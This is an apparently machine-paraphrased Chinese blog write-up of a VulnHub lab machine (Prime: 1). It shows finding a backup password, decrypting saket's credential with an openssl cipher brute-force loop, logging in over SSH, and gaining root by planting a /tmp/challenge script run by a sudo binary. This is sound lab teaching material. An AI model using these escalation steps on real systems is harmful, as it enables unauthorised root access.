当前位置:首页 > 其他 > 正文内容

Prime2_解法二:openssl解密凭证

邻居的猫1个月前 (12-09)其他557


Prime2_解法二:openssl解密凭证



本博客供给的一切信息仅供学习和研讨意图,旨在进步读者的网络安全意识和技能才能。请在合法合规的前提下运用本文中供给的任何技能、办法或东西。假如您挑选运用本博客中的任何信息进行非法活动,您将单独承当悉数法律责任。本博客清晰表明不支撑、不鼓舞也不参加任何方法的非法活动。

如有侵权请联络我第一时间删去

靶机下载地址

Prime: 1 ~ VulnHub

find查找备份文件得到key of enc

在第一种解法得到体系立足点后,第一种解法运用linux内核缝隙提权,但内核缝隙提权在实战浸透中太过于暴力,很或许会形成体系服务的重启或中止,导致得到的shell丢掉,服务器管理员修正缝隙等不利于浸透的状况。所以这儿带来第二种解法:openssl解密凭证

find指令查找带有*back*的文件 并把报错成果丢掉(权限不行)

find / -name "*backup*" 2>/dev/null

检查backup_pass

www-data@ubuntu:/opt/backup/server_database$ cat backup_pass
cat backup_pass
your password for backup_database file enc is 

"backup_password"


Enjoy!

运转enc得到密文enc.txt & 密钥key.txt

提示咱们enc的暗码是backupa_password enc是咱们sudo -l检查www-data用户权限时看到的一个文件

www-data@ubuntu:/opt/backup/server_database$ sudo -l
sudo -l
Matching Defaults entries for www-data on ubuntu:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User www-data may run the following commands on ubuntu:
    (root) NOPASSWD: /home/saket/enc

cd到/home/saket目录,再履行enc(直接履行绝对路径会报错)

www-data@ubuntu:/home/saket$ ./enc  
./enc
enter password: backup_password
good
/bin/cp: cannot stat '/root/enc.txt': Permission denied
/bin/cp: cannot stat '/root/key.txt': Permission denied

没什么反响,看到有个报错权限不行,加个sudo试试

www-data@ubuntu:/home/saket$ sudo ./enc
sudo ./enc
enter password: backup_password
good

仍是没反响,从头ls发现多出来enc.txt 和 key.txt原来是运转enc后,帮咱们从/root下拿出来了这两个txt文件

www-data@ubuntu:/home/saket$ ls -lah
ls -lah
total 44K
drwxr-xr-x 2 root root 4.0K Dec  6 23:23 .
drwxr-xr-x 4 root root 4.0K Aug 29  2019 ..
-rw------- 1 root root   20 Aug 31  2019 .bash_history
-rwxr-x--x 1 root root  14K Aug 30  2019 enc
-rw-r--r-- 1 root root  237 Dec  6 23:23 enc.txt
-rw-r--r-- 1 root root  123 Dec  6 23:23 key.txt
-rw-r--r-- 1 root root   18 Aug 29  2019 password.txt
-rw-r--r-- 1 root root   33 Aug 31  2019 user.txt

看一下这两个txt

www-data@ubuntu:/home/saket$ cat enc.txt
cat enc.txt



www-data@ubuntu:/home/saket$ cat key.txt
cat key.txt
I know you are the fan of ippsec.

So convert string "ippsec" into md5 hash and use it to gain yourself in your real form.

第一个是一个加密过的密文,key的大意为 我知道你是ippsec的粉丝,所以将ippsec这个字符串转化为md5hash,用它取得你的real form吧

那就先来md5一下ippsec,红笔大佬用kali去进行的,我就直接用赛博大厨了

366a74cb3c959de17d61db30591c39d1

用指令行的办法放在下面

-n用于去掉字符串后的换行符

echo –n 'ippsec' | md5sum

awk用于处理字符串,awk -F ' ' '{print $1;}'意思是以空格为切割,打印其间第一个部分$1,这样就会只输出366a74cb3c959de17d61db30591c39d1 后边的 - 不会输出。

echo -n 'ippsec' | md5sum | awk -F ' ' '{print $1;}'

Openssl解密

简略检查协助,发现有这么多加密方法,应该运用什么方法去解密呢,咱们要知道加密根本分为对称加密和非堆成加密

对称加密运用相同的密钥对密文进行加密和解密,常见的加密方法有AES,DES, 3DES,RC4,5,6等

非对称加密运用一对密钥(公钥和私钥)

┌──(observer㉿kali)-[~]
└─$ openssl                                
help:

Standard commands
asn1parse         ca                ciphers           cmp               
cms               crl               crl2pkcs7         dgst              
dhparam           dsa               dsaparam          ec                
ecparam           enc               engine            errstr            
fipsinstall       gendsa            genpkey           genrsa            
help              info              kdf               list              
mac               nseq              ocsp              passwd            
pkcs12            pkcs7             pkcs8             pkey              
pkeyparam         pkeyutl           prime             rand              
rehash            req               rsa               rsautl            
s_client          s_server          s_time            sess_id           
smime             speed             spkac             srp               
storeutl          ts                verify            version           
x509              

Message Digest commands (see the `dgst' command for more details)
blake2b512        blake2s256        md4               md5               
rmd160            sha1              sha224            sha256            
sha3-224          sha3-256          sha3-384          sha3-512          
sha384            sha512            sha512-224        sha512-256        
shake128          shake256          sm3               

Cipher commands (see the `enc' command for more details)
aes-128-cbc       aes-128-ecb       aes-192-cbc       aes-192-ecb       
aes-256-cbc       aes-256-ecb       aria-128-cbc      aria-128-cfb      
aria-128-cfb1     aria-128-cfb8     aria-128-ctr      aria-128-ecb      
aria-128-ofb      aria-192-cbc      aria-192-cfb      aria-192-cfb1     
aria-192-cfb8     aria-192-ctr      aria-192-ecb      aria-192-ofb      
aria-256-cbc      aria-256-cfb      aria-256-cfb1     aria-256-cfb8     
aria-256-ctr      aria-256-ecb      aria-256-ofb      base64            
bf                bf-cbc            bf-cfb            bf-ecb            
bf-ofb            camellia-128-cbc  camellia-128-ecb  camellia-192-cbc  
camellia-192-ecb  camellia-256-cbc  camellia-256-ecb  cast              
cast-cbc          cast5-cbc         cast5-cfb         cast5-ecb         
cast5-ofb         des               des-cbc           des-cfb           
des-ecb           des-ede           des-ede-cbc       des-ede-cfb       
des-ede-ofb       des-ede3          des-ede3-cbc      des-ede3-cfb      
des-ede3-ofb      des-ofb           des3              desx              
rc2               rc2-40-cbc        rc2-64-cbc        rc2-cbc           
rc2-cfb           rc2-ecb           rc2-ofb           rc4               
rc4-40            seed              seed-cbc          seed-cfb          
seed-ecb          seed-ofb          sm4-cbc           sm4-cfb           
sm4-ctr           sm4-ecb           sm4-ofb           zlib              
zstd         

尽管知道加密方法为对称加密,但咱们仍是很难确认详细的加密方法,到底是AES,DES, 3DES,RC4,5,6之中的一种的那种形式,仍是是其他的对称加密,所以直接暴力破解吧

用enc模块去解密

需求将key转化成16进制

直接在此前的基础上用od转化成16进制,并用tr进行一些数据上的处理

echo -n 'ippsec' | md5sum | awk -F ' ' '{print $1;}' | tr -d '\n' | od -A n -t x1| tr -d '\n' | tr -d ' '

参数阐明

od -A n -t x1 -A n 指定偏移量为null -t x1 指定输出类型为单字节的十六进制值 x 表明十六进制,1 表明每个输出项是一个字节。

tr -d '\n' tr -d ' ' -d, 删去 ARRAY1 中的字符

得到hex后的密钥3336366137346362336339353964653137643631646233303539316333396431

以下引证自:Vulnhub靶机实操笔记-Prime1-解法二 - FreeBuf网络安全职业门户

单字节转16进制:运用ASCII码表将每个字符转化为对应的16进制值。例如,字符串 "A" 的16进制表明为 "41",其间 "41" 是字符 "A" 在ASCII码表中的十六进制表明。

双字节转16进制:运用Unicode字符编码标准将每个字符转化为对应的16进制值。例如,字符串 "中" 的16进制表明为 "4E2D",其间 "4E2D" 是字符 "中" 在Unicode编码表中的十六进制表明。

关于判别是运用双字节仍是单字节转16进制,您需求检查当时编码方法,主要有以下三种:

ASCII编码:该编码方法只支撑单字节字符,因而在此编码方法下,将字符串转化为16进制时只需求运用单字节转化方法即可。例如 "ippsec" 便是单字节。
UTF-8编码:UTF-8编码是一种可变长度字符编码方法,支撑单字节和双字节字符。在此编码方法下,单字节字符选用单字节转化方法,而双字节字符选用双字节转化方法。例如 "中文" 便是双字节字符。
UTF-16编码:UTF-16编码是一种双字节编码方法,因而在此编码方法下,一切字符都是双字节字符,需求运用双字节转化方法。例如 "英文" 在UTF-16编码方法下也是双字节字符。

依据上述规矩,假如字符串 "ippsec" 是运用ASCII编码的,则将其转化为16进制时只需求运用单字节转化方法;假如是运用UTF-8编码,那么需求对其间的双字节字符运用双字节转化方法。

echo "nzE+iKr82Kh8BOQg0k/LViTZJup+9DReAsXd/PCtFZP5FHM7WtJ9Nz1NmqMi9G0i7rGIvhK2jRcGnFyWDT9MLoJvY1gZKI2xsUuS3nJ/n3T1Pe//4kKId+B3wfDW/TgqX6Hg/kUj8JO08wGe9JxtOEJ6XJA3cO/cSna9v3YVf/ssHTbXkb+bFgY7WLdHJyvF6lD/wfpY2ZnA1787ajtm+/aWWVMxDOwKuqIT1ZZ0Nw4=" | openssl enc -d -a -cipherType -K 3336366137346362336339353964653137643631646233303539316333396431

参数阐明

-d 解密形式

-a base64解密 密文一眼顶真为base64加密过的

-cipherType 这儿指定加密方法,这儿不知道先用这个替代

-K 指定密钥,需求用16进制

加密方法的爆炸文件

touch新建一个文件ciphertype.txt vim一下,把加密方法放进去

用awk处理一下,gsub()函数将空格替换成换行符

awk '{gsub(" ","\n");print}' ciphertype.txt

处理之后变成这样了(一小部分),那就把换行符都删掉

sm4-ecb










sm4-ofb










将awk输出的成果处理一下: sort让非空行集合在一起,然后uniq将每一项字符串但独占一行

awk '{gsub(" ","\n");print}' ciphertype.txt | sort | uniq

然后将成果放进一个指定文件,这样爆炸要用到的文件就做好了

awk '{gsub(" ","\n");print}' ciphertype.txt | sort | uniq > ciphertypeforce

openssl+bash脚本暴力破解

写个bash脚本,用for循环暴力破解一下

for cipher in $(cat ciphertypeforce); do echo "nzE+iKr82Kh8BOQg0k/LViTZJup+9DReAsXd/PCtFZP5FHM7WtJ9Nz1NmqMi9G0i7rGIvhK2jRcGnFyWDT9MLoJvY1gZKI2xsUuS3nJ/n3T1Pe//4kKId+B3wfDW/TgqX6Hg/kUj8JO08wGe9JxtOEJ6XJA3cO/cSna9v3YVf/ssHTbXkb+bFgY7WLdHJyvF6lD/wfpY2ZnA1787ajtm+/aWWVMxDOwKuqIT1ZZ0Nw4=" | openssl enc -d -a -$cipher -K 3336366137346362336339353964653137643631646233303539316333396431 2>/dev/null;echo $cipher;done

拿到了加密方法和明文

Dont worry saket one day we will reach to
our destination very soon. And if you forget 
your username then use your old password
==> "tribute_to_ippsec"

Victor,aes-256-ecb

所以现在用这个也能够了,-aes-256-ecb加密方法是不需求指定iv的(偏移量)

echo "nzE+iKr82Kh8BOQg0k/LViTZJup+9DReAsXd/PCtFZP5FHM7WtJ9Nz1NmqMi9G0i7rGIvhK2jRcGnFyWDT9MLoJvY1gZKI2xsUuS3nJ/n3T1Pe//4kKId+B3wfDW/TgqX6Hg/kUj8JO08wGe9JxtOEJ6XJA3cO/cSna9v3YVf/ssHTbXkb+bFgY7WLdHJyvF6lD/wfpY2ZnA1787ajtm+/aWWVMxDOwKuqIT1ZZ0Nw4=" | openssl enc -d -a -aes-256-ecb -K 3336366137346362336339353964653137643631646233303539316333396431

或许看到这现已忘掉之前etc/passwd里有一个1001用户saket,咱们拿到了他的凭证,用它去ssh登陆吧

ssh衔接saket用户

sudo ssh saket@靶机ip

输入yes,输入暗码tribute_to_ippsec

成功拿到saket用户的权限,用python提高一下shell交互性,这儿前面打sickos解法二时介绍过,不再赘述

python -c 'import pty;pty.spawn("/bin/bash")'

sudo -l看一下权限,权限仍是不高,但是有新的发现,能够root权限履行/home/victor/undefeated_victor

saket@ubuntu:~$ sudo -l
Matching Defaults entries for saket on ubuntu:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User saket may run the following commands on ubuntu:
    (root) NOPASSWD: /home/victor/undefeated_victor

没有权限检查,应该是只要运转权限

saket@ubuntu:~$ cd /home/victor
saket@ubuntu:/home/victor$ ls -liah
ls: cannot open directory '.': Permission denied

给了一段文字 假如你能够打败我那就在你面前应战我 然后报错提示/tmp/challenge: not found

saket@ubuntu:/home/victor$ sudo ./undefeated_victor
if you can defeat me then challenge me in front of you
/home/victor/undefeated_victor: 2: /home/victor/undefeated_victor: /tmp/challenge: not found

履行这个undefeated_victor,就会牵扯到/tmp/challenge,假如undefeated_victor的操作是履行challenge,那就能够在里面写入提权的指令来成功提权(由于root权限履行undefeated_victor)

cd到tmp发现确实是没有challenge,那就直接写一个,刚好tmp目录的权限够用

saket@ubuntu:/tmp$ ls -liah
total 52K
786435 drwxrwxrwt 12 root root 4.0K Dec  7 08:26 .
     2 drwxr-xr-x 24 root root 4.0K Aug 29  2019 ..
789602 drwxrwxrwt  2 root root 4.0K Dec  6 22:37 .font-unix
788411 drwxrwxrwt  2 root root 4.0K Dec  6 22:37 .ICE-unix
790238 drwx------  3 root root 4.0K Dec  6 22:37 systemd-private-009a695cfec04602873ff4d0d451c890-colord.service-VimvwZ
790192 drwx------  3 root root 4.0K Dec  6 22:37 systemd-private-009a695cfec04602873ff4d0d451c890-rtkit-daemon.service-7QYuF5
789604 drwx------  3 root root 4.0K Dec  6 22:37 systemd-private-009a695cfec04602873ff4d0d451c890-systemd-timesyncd.service-3nNCGI
789603 drwxrwxrwt  2 root root 4.0K Dec  6 22:37 .Test-unix
788409 drwxrwxrwt  2 root root 4.0K Dec  6 22:37 VMwareDnD
789606 drwx------  2 root root 4.0K Dec  6 22:37 vmware-root
789614 -r--r--r--  1 root root   11 Dec  6 22:37 .X0-lock
788410 drwxrwxrwt  2 root root 4.0K Dec  6 22:37 .X11-unix
788412 drwxrwxrwt  2 root root 4.0K Dec  6 22:37 .XIM-unix

成功将challenge写为用于提权的bash脚本文件

saket@ubuntu:/tmp$ echo '#!/bin/bash' > challenge
saket@ubuntu:/tmp$ cat challenge
#!/bin/bash
saket@ubuntu:/tmp$ echo '/bin/bash' >> challenge
saket@ubuntu:/tmp$ cat challenge
#!/bin/bash
/bin/bash

再次履行undefeated_victor 应该就能直接提权了(要回到/home/victor这个目录下)

saket@ubuntu:/home/victor$ sudo undefeated_victor
[sudo] password for saket: 
sudo: undefeated_victor: command not found
saket@ubuntu:/home/victor$ sudo /home/victor/undefeated_victor
if you can defeat me then challenge me in front of you
/home/victor/undefeated_victor: 2: /home/victor/undefeated_victor: /tmp/challenge: Permission denied

提示没有权限履行,原因是我没有给challenge履行权限

chmod +x /tmp/challenge

成功拿下(附定妆照一张)

其实undefeated_victor 就很简略,输入这一句话,然后履行challenge

root@ubuntu:/home/victor# cat undefeated_victor                                     
echo  "if you can defeat me then challenge me in front of you";                     
/tmp/challenge 

扫描二维码推送至手机访问。

版权声明:本文由51Blog发布,如需转载请注明出处。

本文链接:https://www.51blog.vip/?id=644

标签: 红队渗透
分享给朋友:

“Prime2_解法二:openssl解密凭证” 的相关文章

【旧文重发】MATLAB 经过函数封装一了百了地处理线性规划与运送问题的linprog的标准化操作(附MATLAB代码)

【旧文重发】MATLAB 经过函数封装一了百了地处理线性规划与运送问题的linprog的标准化操作(附MATLAB代码)

这篇漫笔原本是我上试验课时分的笔记,2023 年 7 月曾经在 CSDN 渠道上 发布过。 今日刚好有朋友跟我问起 MATLAB 自带的求解器输入很不直观的问题,我翻开这个文章发给他的时分发现自己一年前写的 LaTeX 公式依托辩论,所以重打了一遍。再加上因为 CSDN 渠道的继续摆烂,终所以用不下...

Blender快速入门教程1简介

Blender快速入门教程1简介

0 简介 Blender是最著名的 3D 计算机图形制造免费程序之一。有了 Blender,你能够创立人物、道具、环境以及你的幻想力所能产生的简直全部其他东西。它不只能够创立方针。你还能够让它们运动起来。在动画中叙述一个故事,带领人们穿越你自己发明的国际,或许为一些视频片段增加特效。全部皆有或许。...

2024年仿真/CAE 软件商场陈述

2024年仿真/CAE 软件商场陈述

CAE仿真商场的影响 CAD、CAE呈交融趋势 规划办法的革新--剖析/模仿 MCAE 是 MFG 规划软件的最大部分 MFG规划,全称Manufacturing Design,即制作规划。它是一种在产品规划阶段就考虑制作进程的工程实践,旨在进步产品的可制作性,下降出产成本,缩短出产周期,并进步...

P1979 [NOIP2013 进步组] 华容道

P1979 [NOIP2013 进步组] 华容道

标题粗心 具体标题传送门 \(n\times m\) 的华容道盘,有妨碍。多组问询,每组妨碍不变。其间要将初始在 \((sx,sy)\) 的棋子移动到 \((tx,ty)\)。初始空白的方位在 \((ex,ey)\)。求至少多少次移动完结方针,无法完结输出 -1。 \(n,m\leq30,q\leq...

Prime1_解法一:cms浸透 & 内核缝隙提权

Prime1_解法一:cms浸透 & 内核缝隙提权

Prime1_解法一:cms浸透 & 内核缝隙提权 目录...

3大云计算股票龙头股,云计算行业概述

根据搜索结果,以下是三只云计算领域的龙头股:1. 三六零(601360): 近5个交易日,三六零整体上涨7.97%,最高价为10.2元,最低价为8.43元,总市值上涨了54.3亿。 公司建设网络空间安全研发中心,升级及拓展系统安全、网络安全、IOT安全的研发,并且紧跟当前云计算、人工智能...